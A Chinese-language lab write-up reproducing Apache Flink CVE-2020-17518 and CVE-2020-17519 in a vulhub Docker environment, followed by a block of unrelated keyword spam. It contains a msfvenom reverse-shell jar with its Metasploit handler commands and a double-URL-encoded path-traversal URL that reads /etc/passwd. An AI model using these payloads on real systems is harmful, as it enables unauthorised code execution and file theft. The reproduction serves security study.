千家信息网

Apache Flink漏洞复现的示例分析

发表于:2025-02-23 作者:千家信息网编辑
千家信息网最后更新 2025年02月23日,这篇文章主要介绍了Apache Flink漏洞复现的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。简介Apache Flink
千家信息网最后更新 2025年02月23日Apache Flink漏洞复现的示例分析

这篇文章主要介绍了Apache Flink漏洞复现的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

简介

Apache Flink 是高效和分布式的通用数据处理平台,由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎(简单来说,就是跟spark类似)。Flink 具有监控 API,可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard,同时也可用于自定义监控工具,默认监听在8081端口。

本文涉及知识点实操练习:网络安全事件("网络安全事件"这门课程是由一些影响比较大的安全事件所模拟的测试环境组成。此课程不仅会添加以往的安全事件,而且还会紧跟时事,去添加最新的安全事件。让大家在第一时间了解,并懂得怎么去保护自身安全为目的。)

该监控 API 是 REST-ful API, 即接受 HTTP请求,并响应JSON格式的数据。

监控 API 中有一个API是 /jars/upload,其作用是将一个jar上传到集群。该jar必须作为多部分数据发送。确保" Content-Type"标头设置为" application / x-java-archive",因为某些http库默认情况下不添加标头。可以通过curl上传jar文件

'curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar" http://hostname:port/jars/upload'

概述

Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致任意文件读取(CVE-2020-17519)和任意文件写入(CVE-2020-17518)漏洞。

CVE-2020-17518攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)。

CVE-2020-17519Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)。

影响版本

CVE-2020-17518

Apache:Apache Flink: 1.5.1 - 1.11.2

CVE-2020-17519

Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2

环境搭建

因为受到两个漏洞影响的版本都包含了1.11.2,所以统一使用这个版本进行复现

此处利用vulhub的环境进行复现,新建docker-compose.yml

version: '2'

services:

flink:

image: vulhub/flink:1.11.2

command: jobmanager

ports:

- "8081:8081"

- "6123:6123"

使用docker-compose启动该环境,执行以下命令会下载镜像并以此镜像启动一个容器,映射的端口为8081和6123

docker-compose up -d

访问http://ip:8081

漏洞复现

任意文件上传(CVE-2020-17518)复现:

Apache Flink 1.5.1引入了REST处理程序,该处理程序允许通过经过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。

访问http://ip:8081,找到Submit New Job的Add New上传一个jar包,jar包可以在桌面新建一个压缩文件,将zip后缀修改为jar即可,然后抓包

抓到的请求包如下:

将请求包发送到repeater模块进行修改,比如我这里是在/tmp目录下新建一个文件,../是为了方便切换路径,因为我们不知到当前的路径是什么,所以可以使用../切换到根目录。

查看文件是否上传成功

docker ps查看容器

进入容器

docker exec -it CONTAINER ID /bin/bash

可以看到文件成功上传

flink 本身是没有鉴权的,并且它本身支持任意jar包上传并执行,所以可以通过上传jar包getshell

生成jar格式的马

lhost为kali的ip,lport为kali接收shell的端口

msfvenom -p java/shell_reverse_tcp lhost=192.168.74.142 lport=1234 -f jar >/home/a.jar

启动msf接收shell

msfconsole

use exploit/multi/handler

set payload java/shell_reverse_tcp

set LHOST 192.168.74.142

set LPORT 1234

exploit

将jar包上传后点击上传的包然后Submit

获取到shell

任意文件读取(CVE-2020-17519)复现:

Apache Flink 1.11.0中引入的更改(以及1.11.1和1.11.2中也发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。访问仅限于JobManager进程可访问的文件。

比如我这里读取/etc/下的passwd文件,%252f为/的两次url编码

http://192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

感谢你能够认真阅读完这篇文章,希望小编分享的"Apache Flink漏洞复现的示例分析"这篇文章对大家有帮助,同时也希望大家多多支持,关注行业资讯频道,更多相关知识等着你来学习!

文件 安全 漏洞 事件 进程 监控 数据 环境 篇文章 系统 容器 攻击者 版本 端口 处理 影响 攻击 示例 分析 成功 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 学校网络安全讲座稿 腾讯云云服务器 大学数据库一对一辅导 做电商服务器销售 未转变者创服务器时跳出来红字 数据库安全标准的发展过程 计算机网络技术 思科模拟器 免费服务器空间吗 工业互联网网络安全资料 数据库中如何修改字段名字 数据库原理及设计答案 网络安全趋势怎么样 网络安全设置为开放 灵寿高科技软件开发服务价钱 十四五网络安全信息化规划全文 数据库安装了就是连接不上找不到 nacos数据库如何升级 sql 数据库连接字符串 网络安全始于心三年级手抄报 网络安全保障能力 网络安全材料作文 语音聊天软件开发的基本 昆明学软件开发的五年制大专官网 我国网络安全保障体系 手机可以炒股交易软件开发 GPU服务器几核是什么意思 怎么修复u盘删掉的数据库 软件开发项目的售前 代码为什么要放在服务器上 评价分布式数据库标准
0